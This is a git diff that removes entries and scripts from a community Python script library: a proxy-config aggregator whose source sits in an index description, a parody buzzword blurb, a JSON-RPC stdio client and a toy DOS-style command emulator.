return decoded_dir_links # Filter function to select lines based on specified protocols and remove duplicates (only for config lines) def filter_for_protocols(data, protocols): filtered_data = [] seen_configs = set() # Process each decoded content for content in data: if content and content.strip(): # Skip empty content lines = content.strip().split('\\n') for line in lines: line = line.strip() if line.startswith('#') or not line: # Always keep comment/metadata/empty lines filtered_data.append(line) elif any(protocol in line for protocol in protocols): if line not in seen_configs: filtered_data.append(line) seen_configs.add(line) return filtered_data # Create necessary directories if they don't exist def ensure_directories_exist(): output_folder = os.path.join(os.path.dirname(__file__), \"..\") base64_folder = os.path.join(output_folder, \"Base64\") if not os.path.exists(output_folder): os.makedirs(output_folder) if not os.path.exists(base64_folder): os.makedirs(base64_folder) return output_folder, base64_folder # Main function to process links and write output files def main(): output_folder, base64_folder = ensure_directories_exist() # Ensure directories are created # Clean existing output files FIRST before processing print(\"Cleaning existing files...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") if os.path.exists(output_filename): os.remove(output_filename) print(f\"Removed: {output_filename}\") if os.path.exists(main_base64_filename): os.remove(main_base64_filename) print(f\"Removed: {main_base64_filename}\") for i in range(1, 21): # Clean Sub1.txt to Sub20.txt filename = os.path.join(output_folder, f\"Sub{i}.txt\") if os.path.exists(filename): os.remove(filename) print(f\"Removed: {filename}\") filename_base64 = os.path.join(base64_folder, f\"Sub{i}_base64.txt\") if os.path.exists(filename_base64): os.remove(filename_base64) print(f\"Removed: {filename_base64}\") print(\"Starting to fetch and process configs...\") protocols = [\"vmess\", \"vless\", \"trojan\", \"ss\", \"ssr\", \"hy2\", \"tuic\", \"warp://\"] links = [ \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/app/sub.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_1.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_2.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_3.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_4.txt\", \"https://raw.githubusercontent.com/Surfboardv2ray/TGParse/main/splitted/mixed\" ] dir_links = [ \"https://raw.githubusercontent.com/itsyebekhe/PSG/main/lite/subscriptions/xray/normal/mix\", \"https://raw.githubusercontent.com/arshiacomplus/v2rayExtractor/refs/heads/main/mix/sub.html\", \"https://raw.githubusercontent.com/Rayan-Config/C-Sub/refs/heads/main/configs/proxy.txt\", \"https://raw.githubusercontent.com/mahdibland/ShadowsocksAggregator/master/Eternity.txt\", \"https://raw.githubusercontent.com/Everyday-VPN/Everyday-VPN/main/subscription/main.txt\", \"https://raw.githubusercontent.com/MahsaNetConfigTopic/config/refs/heads/main/xray_final.txt\", ] print(\"Fetching base64 encoded configs...\") decoded_links = decode_links(links) print(f\"Decoded {len(decoded_links)} base64 sources\") print(\"Fetching direct text configs...\") decoded_dir_links = decode_dir_links(dir_links) print(f\"Decoded {len(decoded_dir_links)} direct text sources\") print(\"Combining and filtering configs...\") combined_data = decoded_links + decoded_dir_links merged_configs = filter_for_protocols(combined_data, protocols) print(f\"Found {len(merged_configs)} unique configs after filtering\") # Write merged configs to output file print(\"Writing main config file...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") with open(output_filename, \"w\", encoding=\"utf-8\") as f: f.write(fixed_text) for config in merged_configs: f.write(config + \"\\n\") print(f\"Main config file created: {output_filename}\") # Create base64 version of the main file print(\"Creating base64 version...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: main_config_data = f.read() main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") with open(main_base64_filename, \"w\", encoding=\"utf-8\") as f: encoded_main_config = base64.b64encode(main_config_data.encode()).decode() f.write(encoded_main_config) print(f\"Base64 config file created: {main_base64_filename}\") # Split merged configs into smaller files (no more than 500 configs per file) print(\"Creating split files...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: lines = f.readlines() num_lines = len(lines) max_lines_per_file = 500 num_files = (num_lines + max_lines_per_file - 1) // max_lines_per_file print(f\"Splitting into {num_files} files with max {max_lines_per_file} lines each\") for i in range(num_files): profile_title = f\"🆓 Git:barry-far | Sub{i+1} 🔥\" encoded_title = base64.b64encode(profile_title.encode()).decode() custom_fixed_text = f\"\"\"#profile-title: base64:{encoded_title} #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" input_filename = os.path.join(output_folder, f\"Sub{i + 1}.txt\") with open(input_filename, \"w\", encoding=\"utf-8\") as f: f.write(custom_fixed_text) start_index = i * max_lines_per_file end_index = min((i + 1) * max_lines_per_file, num_lines) for line in lines[start_index:end_index]: f.write(line) print(f\"Created: Sub{i + 1}.txt\") with open(input_filename, \"r\", encoding=\"utf-8\") as input_file: config_data = input_file.read() base64_output_filename = os.path.join(base64_folder, f\"Sub{i + 1}_base64.txt\") with open(base64_output_filename, \"w\", encoding=\"utf-8\") as output_file: encoded_config = base64.b64encode(config_data.encode()).decode() output_file.write(encoded_config) print(f\"Created: Sub{i + 1}_base64.txt\") print(f\"\\nProcess completed successfully!\") print(f\"Total configs processed: {len(merged_configs)}\") print(f\"Files created:\") print(f\" - All_Configs_Sub.txt\") print(f\" - All_Configs_base64_Sub.txt\") print(f\" - {num_files} split files (Sub1.txt to Sub{num_files}.txt)\") print(f\" - {num_files} base64 split files (Sub1_base64.txt to Sub{num_files}_base64.txt)\") if __name__ == \"__main__\": main()", - "desc_en": "import pybase64 import base64 import requests import binascii import os # Define a fixed timeout for HTTP requests TIMEOUT = 15 # seconds # Define the fixed text for the initial configuration fixed_text = \"\"\"#profile-title: base64:8J+GkyBHaXRodWIgfCBCYXJyeS1mYXIg8J+ltw== #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" # Base64 decoding function def decode_base64(encoded): decoded = \"\" for encoding in [\"utf-8\", \"iso-8859-1\"]: try: decoded = pybase64.b64decode(encoded + b\"=\" * (-len(encoded) % 4)).decode(encoding) break except (UnicodeDecodeError, binascii.Error): pass return decoded # Function to decode base64-encoded links with a timeout def decode_links(links): decoded_data = [] for link in links: try: response = requests.get(link, timeout=TIMEOUT) encoded_bytes = response.content decoded_text = decode_base64(encoded_bytes) decoded_data.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_data # Function to decode directory links with a timeout def decode_dir_links(dir_links): decoded_dir_links = [] for link in dir_links: try: response = requests.get(link, timeout=TIMEOUT) decoded_text = response.text decoded_dir_links.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_dir_links # Filter function to select lines based on specified protocols and remove duplicates (only for config lines) def filter_for_protocols(data, protocols): filtered_data = [] seen_configs = set() # Process each decoded content for content in data: if content and content.strip(): # Skip empty content lines = content.strip().split('\\n') for line in lines: line = line.strip() if line.startswith('#') or not line: # Always keep comment/metadata/empty lines filtered_data.append(line) elif any(protocol in line for protocol in protocols): if line not in seen_configs: filtered_data.append(line) seen_configs.add(line) return filtered_data # Create necessary directories if they don't exist def ensure_directories_exist(): output_folder = os.path.join(os.path.dirname(__file__), \"..\") base64_folder = os.path.join(output_folder, \"Base64\") if not os.path.exists(output_folder): os.makedirs(output_folder) if not os.path.exists(base64_folder): os.makedirs(base64_folder) return output_folder, base64_folder # Main function to process links and write output files def main(): output_folder, base64_folder = ensure_directories_exist() # Ensure directories are created # Clean existing output files FIRST before processing print(\"Cleaning existing files...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") if os.path.exists(output_filename): os.remove(output_filename) print(f\"Removed: {output_filename}\") if os.path.exists(main_base64_filename): os.remove(main_base64_filename) print(f\"Removed: {main_base64_filename}\") for i in range(1, 21): # Clean Sub1.txt to Sub20.txt filename = os.path.join(output_folder, f\"Sub{i}.txt\") if os.path.exists(filename): os.remove(filename) print(f\"Removed: {filename}\") filename_base64 = os.path.join(base64_folder, f\"Sub{i}_base64.txt\") if os.path.exists(filename_base64): os.remove(filename_base64) print(f\"Removed: {filename_base64}\") print(\"Starting to fetch and process configs...\") protocols = [\"vmess\", \"vless\", \"trojan\", \"ss\", \"ssr\", \"hy2\", \"tuic\", \"warp://\"] links = [ \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/app/sub.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_1.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_2.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_3.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_4.txt\", \"https://raw.githubusercontent.com/Surfboardv2ray/TGParse/main/splitted/mixed\" ] dir_links = [ \"https://raw.githubusercontent.com/itsyebekhe/PSG/main/lite/subscriptions/xray/normal/mix\", \"https://raw.githubusercontent.com/arshiacomplus/v2rayExtractor/refs/heads/main/mix/sub.html\", \"https://raw.githubusercontent.com/Rayan-Config/C-Sub/refs/heads/main/configs/proxy.txt\", \"https://raw.githubusercontent.com/mahdibland/ShadowsocksAggregator/master/Eternity.txt\", \"https://raw.githubusercontent.com/Everyday-VPN/Everyday-VPN/main/subscription/main.txt\", \"https://raw.githubusercontent.com/MahsaNetConfigTopic/config/refs/heads/main/xray_final.txt\", ] print(\"Fetching base64 encoded configs...\") decoded_links = decode_links(links) print(f\"Decoded {len(decoded_links)} base64 sources\") print(\"Fetching direct text configs...\") decoded_dir_links = decode_dir_links(dir_links) print(f\"Decoded {len(decoded_dir_links)} direct text sources\") print(\"Combining and filtering configs...\") combined_data = decoded_links + decoded_dir_links merged_configs = filter_for_protocols(combined_data, protocols) print(f\"Found {len(merged_configs)} unique configs after filtering\") # Write merged configs to output file print(\"Writing main config file...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") with open(output_filename, \"w\", encoding=\"utf-8\") as f: f.write(fixed_text) for config in merged_configs: f.write(config + \"\\n\") print(f\"Main config file created: {output_filename}\") # Create base64 version of the main file print(\"Creating base64 version...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: main_config_data = f.read() main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") with open(main_base64_filename, \"w\", encoding=\"utf-8\") as f: encoded_main_config = base64.b64encode(main_config_data.encode()).decode() f.write(encoded_main_config) print(f\"Base64 config file created: {main_base64_filename}\") # Split merged configs into smaller files (no more than 500 configs per file) print(\"Creating split files...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: lines = f.readlines() num_lines = len(lines) max_lines_per_file = 500 num_files = (num_lines + max_lines_per_file - 1) // max_lines_per_file print(f\"Splitting into {num_files} files with max {max_lines_per_file} lines each\") for i in range(num_files): profile_title = f\"🆓 Git:barry-far | Sub{i+1} 🔥\" encoded_title = base64.b64encode(profile_title.encode()).decode() custom_fixed_text = f\"\"\"#profile-title: base64:{encoded_title} #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" input_filename = os.path.join(output_folder, f\"Sub{i + 1}.txt\") with open(input_filename, \"w\", encoding=\"utf-8\") as f: f.write(custom_fixed_text) start_index = i * max_lines_per_file end_index = min((i + 1) * max_lines_per_file, num_lines) for line in lines[start_index:end_index]: f.write(line) print(f\"Created: Sub{i + 1}.txt\") with open(input_filename, \"r\", encoding=\"utf-8\") as input_file: config_data = input_file.read() base64_output_filename = os.path.join(base64_folder, f\"Sub{i + 1}_base64.txt\") with open(base64_output_filename, \"w\", encoding=\"utf-8\") as output_file: encoded_config = base64.b64encode(config_data.encode()).decode() output_file.write(encoded_config) print(f\"Created: Sub{i + 1}_base64.txt\") print(f\"\\nProcess completed successfully!\") print(f\"Total configs processed: {len(merged_configs)}\") print(f\"Files created:\") print(f\" - All_Configs_Sub.txt\") print(f\" - All_Configs_base64_Sub.txt\") print(f\" - {num_files} split files (Sub1.txt to Sub{num_files}.txt)\") print(f\" - {num_files} base64 split files (Sub1_base64.txt to Sub{num_files}_base64.txt)\") if __name__ == \"__main__\": main()", - "category": "basic", - "file": "scripts/basic/cipilot_mobvhfz8.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Viển", - "author_en": "Viển", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-23", - "updated": null, - "status": "removed", - "lines": 385 - }, - { - "id": "script_mofoo3s6", - "name": "高科技安全卫士", - "name_en": "高科技安全卫士", - "desc": "当这个程序启动的瞬间,量子纠缠态的算力云便以超导纳米级谐振频率刺破硅基晶格的拓扑壁垒,触发区块链上分布式神经网络的多维共识算法——它不计算,而是直接在亚原子尺度进行认知跃迁。深度学习框架下的异构并行流处理器,将数据以太以超光速在类脑芯片的混沌逻辑门中解域化重组,每一个比特都在零延迟的熵减管道里完成螺旋式自迭代。边缘节点上的玻色-爱因斯坦凝态缓存,通过量子隧穿效应预载了所有潜在请求的存在概率云,使得线程调度如同在莫比乌斯曲面上弹射光子。用户刚产生需求念头的千亿分之一普朗克时间前,结果已从超导环路的真空涨落中涅盘而出。负载峰值?不过是让动态电压频率调节的仿生算法在霍金辐射级的能效曲面上多跳几次华尔兹。内存回收采用暗物质驱动的分代复制算法,指针偏移快过引力波干涉仪的采样周期。这,就是我们的“混沌天衍引擎”", - "desc_en": "当这个程序启动的瞬间,量子纠缠态的算力云便以超导纳米级谐振频率刺破硅基晶格的拓扑壁垒,触发区块链上分布式神经网络的多维共识算法——它不计算,而是直接在亚原子尺度进行认知跃迁。深度学习框架下的异构并行流处理器,将数据以太以超光速在类脑芯片的混沌逻辑门中解域化重组,每一个比特都在零延迟的熵减管道里完成螺旋式自迭代。边缘节点上的玻色-爱因斯坦凝态缓存,通过量子隧穿效应预载了所有潜在请求的存在概率云,使得线程调度如同在莫比乌斯曲面上弹射光子。用户刚产生需求念头的千亿分之一普朗克时间前,结果已从超导环路的真空涨落中涅盘而出。负载峰值?不过是让动态电压频率调节的仿生算法在霍金辐射级的能效曲面上多跳几次华尔兹。内存回收采用暗物质驱动的分代复制算法,指针偏移快过引力波干涉仪的采样周期。这,就是我们的“混沌天衍引擎”", - "category": "basic", - "file": "scripts/basic/script_mofoo3s6.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "chaojiyuzhouwudichengxuyuan-gaoxiaojijian", - "author_en": "chaojiyuzhouwudichengxuyuan-gaoxiaojijian", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-26", - "updated": null, - "status": "active", - "lines": 359 - }, - { - "id": "mindos_novus_2_3_mogqtz27", - "name": "MINDOS(NOVUS 2.3)", - "name_en": "MINDOS(NOVUS 2.3)", - "desc": "一个自制操作系统", - "desc_en": "一个自制操作系统", - "category": "other", - "file": "scripts/other/mindos_novus_2_3_mogqtz27.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Daoyu268", - "author_en": "Daoyu268", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-27", - "updated": null, - "status": "active", - "lines": 420 - }, - { - "id": "community_户子模拟器__by_dreamingbob", - "name": "户子模拟器 — by dreamingbob", - "name_en": "户子模拟器 — by dreamingbob", - "desc": "[投稿] 户子模拟器 — by dreamingbob", - "desc_en": "[投稿] 户子模拟器 — by dreamingbob", - "category": "basic", - "file": "scripts/ui/script_mogykcgu.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-27", - "updated": null, - "status": "active", - "lines": 1097 - }, - { - "id": "script_mohivn8v", - "name": "收音机", - "name_en": "收音机", - "desc": "实时收听世界各国的收音机", - "desc_en": "实时收听世界各国的收音机", - "category": "ui", - "file": "scripts/ui/script_mohivn8v.html", - "thumbnail": null, - "version": 1, - "file_type": "html", - "author": "dreamingbob", - "author_en": "dreamingbob", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-27", - "updated": null, - "status": "active", - "lines": 559 - }, - { - "id": "script_moio9udy", - "name": "验证器的密钥生成器", - "name_en": "验证器的密钥生成器", - "desc": "生成在谷歌验证器等验证软件的密钥", - "desc_en": "生成在谷歌验证器等验证软件的密钥", - "category": "basic", - "file": "scripts/basic/script_moio9udy.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "dreamingbob", - "author_en": "dreamingbob", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-28", - "updated": null, - "status": "active", - "lines": 159 - }, - { - "id": "script_moiq6nby", - "name": "骰子", - "name_en": "骰子", - "desc": "一个真实的骰子", - "desc_en": "一个真实的骰子", - "category": "ui", - "file": "scripts/ui/script_moiq6nby.html", - "thumbnail": null, - "version": 1, - "file_type": "html", - "author": "dreamingbob", - "author_en": "dreamingbob", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-28", - "updated": null, - "status": "active", - "lines": 425 - }, - { - "id": "script_mol0mojg", - "name": "协同效应", - "name_en": "协同效应", - "desc": "幸运房东丐版", - "desc_en": "幸运房东丐版", - "category": "other", - "file": "scripts/other/script_mol0mojg.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Daoyu268", - "author_en": "Daoyu268", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-30", - "updated": null, - "status": "active", - "lines": 1049 - } - ] -} diff --git a/script_library/scripts/basic/cipilot_mobvhfz8.py b/script_library/scripts/basic/cipilot_mobvhfz8.py deleted file mode 100644 index 25ab44d..0000000 --- a/script_library/scripts/basic/cipilot_mobvhfz8.py +++ /dev/null @@ -1,385 +0,0 @@ -""" -Minimal async JSON-RPC 2.0 client for stdio transport - -This uses threading to handle blocking IO in an async-friendly way. -Much simpler and more reliable than pure asyncio subprocess. -""" - -import asyncio -import inspect -import json -import threading -import uuid -from collections.abc import Awaitable, Callable -from typing import Any - - -class JsonRpcError(Exception): - """JSON-RPC error response""" - - def __init__(self, code: int, message: str, data: Any = None): - self.code = code - self.message = message - self.data = data - super().__init__(f"JSON-RPC Error {code}: {message}") - - -class ProcessExitedError(Exception): - """Error raised when the CLI process exits unexpectedly""" - - pass - - -RequestHandler = Callable[[dict], dict | Awaitable[dict]] - - -class JsonRpcClient: - """ - Minimal async JSON-RPC 2.0 client for stdio transport - - Uses threads for blocking IO but provides async interface. - """ - - def __init__(self, process): - """ - Create client from subprocess.Popen with stdin/stdout pipes - - Args: - process: subprocess.Popen with stdin=PIPE, stdout=PIPE - """ - self.process = process - self.pending_requests: dict[str, asyncio.Future] = {} - self.notification_handler: Callable[[str, dict], None] | None = None - self.request_handlers: dict[str, RequestHandler] = {} - self._running = False - self._read_thread: threading.Thread | None = None - self._stderr_thread: threading.Thread | None = None - self._loop: asyncio.AbstractEventLoop | None = None - self._write_lock = threading.Lock() - self._pending_lock = threading.Lock() - self._process_exit_error: str | None = None - self._stderr_output: list[str] = [] - self._stderr_lock = threading.Lock() - self.on_close: Callable[[], None] | None = None - - def start(self, loop: asyncio.AbstractEventLoop | None = None): - """Start listening for messages in background thread""" - if not self._running: - self._running = True - # Always use the provided loop or get the running loop - self._loop = loop or asyncio.get_running_loop() - self._read_thread = threading.Thread(target=self._read_loop, daemon=True) - self._read_thread.start() - # Start stderr reader thread if process has stderr - if hasattr(self.process, "stderr") and self.process.stderr: - self._stderr_thread = threading.Thread(target=self._stderr_loop, daemon=True) - self._stderr_thread.start() - - def _stderr_loop(self): - """Read stderr in background to capture error messages""" - try: - while self._running: - if not self.process.stderr: - break - line = self.process.stderr.readline() - if not line: - break - with self._stderr_lock: - self._stderr_output.append( - line.decode("utf-8") if isinstance(line, bytes) else line - ) - except Exception: - pass # Ignore errors reading stderr - - def get_stderr_output(self) -> str: - """Get captured stderr output""" - with self._stderr_lock: - return "".join(self._stderr_output).strip() - - async def stop(self): - """Stop listening and clean up""" - self._running = False - if self._read_thread: - self._read_thread.join(timeout=1.0) - if self._stderr_thread: - self._stderr_thread.join(timeout=1.0) - - async def request( - self, method: str, params: dict | None = None, timeout: float | None = None - ) -> Any: - """ - Send a JSON-RPC request and wait for response - - Args: - method: Method name - params: Optional parameters - timeout: Optional request timeout in seconds. If None (default), - waits indefinitely for the server to respond. - - Returns: - The result from the response - - Raises: - JsonRpcError: If server returns an error - asyncio.TimeoutError: If request times out (only when timeout is set) - """ - request_id = str(uuid.uuid4()) - - # Use the stored loop to ensure consistency with the reader thread - if not self._loop: - raise RuntimeError("Client not started. Call start() first.") - - future = self._loop.create_future() - with self._pending_lock: - self.pending_requests[request_id] = future - - message = { - "jsonrpc": "2.0", - "id": request_id, - "method": method, - "params": params or {}, - } - - await self._send_message(message) - - try: - if timeout is not None: - return await asyncio.wait_for(future, timeout=timeout) - return await future - finally: - with self._pending_lock: - self.pending_requests.pop(request_id, None) - - async def notify(self, method: str, params: dict | None = None): - """ - Send a JSON-RPC notification (no response expected) - - Args: - method: Method name - params: Optional parameters - """ - message = { - "jsonrpc": "2.0", - "method": method, - "params": params or {}, - } - await self._send_message(message) - - def set_notification_handler(self, handler: Callable[[str, dict], None]): - """Set handler for incoming notifications from server""" - self.notification_handler = handler - - def set_request_handler(self, method: str, handler: RequestHandler): - if handler is None: - self.request_handlers.pop(method, None) - else: - self.request_handlers[method] = handler - - async def _send_message(self, message: dict): - """Send a JSON-RPC message with Content-Length header""" - loop = self._loop or asyncio.get_event_loop() - - def write(): - content = json.dumps(message, separators=(",", ":")) - content_bytes = content.encode("utf-8") - header = f"Content-Length: {len(content_bytes)}\r\n\r\n" - with self._write_lock: - self.process.stdin.write(header.encode("utf-8")) - self.process.stdin.write(content_bytes) - self.process.stdin.flush() - - # Run in thread pool to avoid blocking - await loop.run_in_executor(None, write) - - def _read_loop(self): - """Read messages from the stream (runs in thread)""" - try: - while self._running: - message = self._read_message() - if message: - self._handle_message(message) - else: - # No message means stream closed - process likely exited - break - except EOFError: - # Stream closed - check if process exited - pass - except Exception as e: - if self._running: - # Store error for pending requests - self._process_exit_error = str(e) - - # Process exited or read failed - fail all pending requests - if self._running: - self._fail_pending_requests() - if self.on_close is not None: - self.on_close() - - def _fail_pending_requests(self): - """Fail all pending requests when process exits""" - # Build error message with stderr output - stderr_output = self.get_stderr_output() - return_code = None - if hasattr(self.process, "poll"): - return_code = self.process.poll() - - if stderr_output: - error_msg = f"CLI process exited with code {return_code}\nstderr: {stderr_output}" - elif return_code is not None: - error_msg = f"CLI process exited with code {return_code}" - else: - error_msg = "CLI process exited unexpectedly" - - # Fail all pending requests - with self._pending_lock: - for request_id, future in list(self.pending_requests.items()): - if not future.done(): - exc = ProcessExitedError(error_msg) - loop = future.get_loop() - loop.call_soon_threadsafe(future.set_exception, exc) - - def _read_exact(self, num_bytes: int) -> bytes: - """ - Read exactly num_bytes, handling partial/short reads from pipes. - - Args: - num_bytes: Number of bytes to read - - Returns: - Bytes read from stream - - Raises: - EOFError: If stream ends before reading all bytes - """ - chunks = [] - remaining = num_bytes - while remaining > 0: - chunk = self.process.stdout.read(remaining) - if not chunk: - raise EOFError("Unexpected end of stream while reading JSON-RPC message") - chunks.append(chunk) - remaining -= len(chunk) - return b"".join(chunks) - - def _read_message(self) -> dict | None: - """ - Read a single JSON-RPC message with Content-Length header (blocking) - - Returns: - Parsed JSON message or None if connection closed - """ - # Read header line - header_line = self.process.stdout.readline() - if not header_line: - return None - - # Parse Content-Length - header = header_line.decode("utf-8").strip() - if not header.startswith("Content-Length:"): - return None - - content_length = int(header.split(":")[1].strip()) - - # Read empty line - self.process.stdout.readline() - - # Read exact content using loop to handle short reads - content_bytes = self._read_exact(content_length) - content = content_bytes.decode("utf-8") - - return json.loads(content) - - def _handle_message(self, message: dict): - """Handle an incoming message (response or notification)""" - # Check if it's a response to our request - if "id" in message: - with self._pending_lock: - future = self.pending_requests.get(message["id"]) - - if future is not None: - loop = future.get_loop() - - if "error" in message: - error = message["error"] - exc = JsonRpcError( - error.get("code", -1), - error.get("message", "Unknown error"), - error.get("data"), - ) - loop.call_soon_threadsafe(future.set_exception, exc) - elif "result" in message: - loop.call_soon_threadsafe(future.set_result, message["result"]) - else: - exc = ValueError("Invalid JSON-RPC response") - loop.call_soon_threadsafe(future.set_exception, exc) - return - - # Check if it's a notification from server - if "method" in message and "id" not in message: - if self.notification_handler and self._loop: - method = message["method"] - params = message.get("params", {}) - # Schedule notification handler on the event loop for thread safety - self._loop.call_soon_threadsafe(self.notification_handler, method, params) - return - - # Otherwise handle as incoming request (tool.call, etc.) - if "method" in message and "id" in message: - self._handle_request(message) - - def _handle_request(self, message: dict): - method = message.get("method", "") - handler = self.request_handlers.get(method) - if not handler: - if self._loop: - asyncio.run_coroutine_threadsafe( - self._send_error_response( - message["id"], -32601, f"Method not found: {message['method']}", None - ), - self._loop, - ) - return - if not self._loop: - return - asyncio.run_coroutine_threadsafe( - self._dispatch_request(message, handler), - self._loop, - ) - - async def _dispatch_request(self, message: dict, handler: RequestHandler): - try: - params = message.get("params", {}) - outcome = handler(params) - if inspect.isawaitable(outcome): - outcome = await outcome - if outcome is not None and not isinstance(outcome, dict): - raise ValueError( - f"Request handler must return a dict, got {type(outcome).__name__}" - ) - await self._send_response(message["id"], outcome) - except JsonRpcError as exc: - await self._send_error_response(message["id"], exc.code, exc.message, exc.data) - except Exception as exc: # pylint: disable=broad-except - await self._send_error_response(message["id"], -32603, str(exc), None) - - async def _send_response(self, request_id: str, result: dict | None): - response = { - "jsonrpc": "2.0", - "id": request_id, - "result": result, - } - await self._send_message(response) - - async def _send_error_response( - self, request_id: str, code: int, message: str, data: dict | None - ): - response = { - "jsonrpc": "2.0", - "id": request_id, - "error": { - "code": code, - "message": message, - "data": data, - }, - } - await self._send_message(response) \ No newline at end of file diff --git a/script_library/scripts/basic/cmd1_0_mnirvpz0.py b/script_library/scripts/basic/cmd1_0_mnirvpz0.py deleted file mode 100644 index e9ca7a9..0000000 --- a/script_library/scripts/basic/cmd1_0_mnirvpz0.py +++ /dev/null @@ -1,92 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "\033[91m" # 红 -G = "\033[92m" # 绿 -Y = "\033[93m" # 黄 -B = "\033[94m" # 蓝 -C = "\033[96m" # 青 -M = "\033[95m" # 紫 -X = "\033[0m" -new_l = "\n" -cmd = "" - -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用", - "format.bat":"format" -} -print("DOS改版") - -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == "\n": - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - - exit() - elif cmd=="dir": - print(R+"file:") - print(B) - for i in list(file): - print(" "+i) - print(G+"file number:"+str(len(file)));print(X) - elif cmd == "oaoa": - print(G+"91*10086=917826");print(X) - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1145): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del"): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - - - - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input(">>text") - except: - file[cmd[4:]]=input(">>text") - elif cmd.startswith("new"): - name=cmd[4:] - text=input(">>text") - file[name]=text - else: - if cmd=="\n": - continue - else: - - print(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") diff --git a/script_library/scripts/basic/cmd1_0_mnleeeta.py b/script_library/scripts/basic/cmd1_0_mnleeeta.py deleted file mode 100644 index e09e1f7..0000000 --- a/script_library/scripts/basic/cmd1_0_mnleeeta.py +++ /dev/null @@ -1,96 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "" # 红 -G = "" # 绿 -Y = "" # 黄 -B = "" # 蓝 -C = "" # 青 -M = "" # 紫 -X = "" -new_l = "\n" -import json -cmd = "" -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用" -} -print("DOS改版") -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == new_l: - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo 